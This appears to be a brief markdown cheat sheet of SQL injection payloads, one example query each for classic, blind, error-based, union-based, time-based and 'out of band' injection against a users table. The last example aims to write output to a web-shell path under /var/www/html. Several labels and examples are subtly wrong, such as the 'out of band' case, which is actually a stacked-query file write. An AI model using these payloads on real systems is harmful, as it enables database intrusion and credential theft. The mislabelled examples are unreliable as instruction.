#SQL injection attacks

##Classic SQL injection

SELECT \* FROM users WHERE username = 'admin' OR '1'='1';

##Blind Sql injection

SELECT \* FROM users WHERE username = 'admin' AND substring(password, 1, 1) = 'a';

##Error based SQL injection

SELECT \* FROM users WHERE username = 'admin' AND 1/0;

##union based SQL injection

SELECT \* FROM users WHERE username = 'admin' UNION SELECT 1, 'password', 3 FROM users WHERE username = 'user';

##Time based blind-sql injection

SELECT \* FROM users WHERE username = 'admin' AND IF(ascii(substr(database(),1,1))=97, BENCHMARK(1000000,MD5('a')),1);

##Out of band sql injection

SELECT \* FROM users WHERE username = 'admin';SELECT \* FROM users;SELECT \* FROM users WHERE username = 'admin' INTO OUTFILE '/var/www/html/shell.php';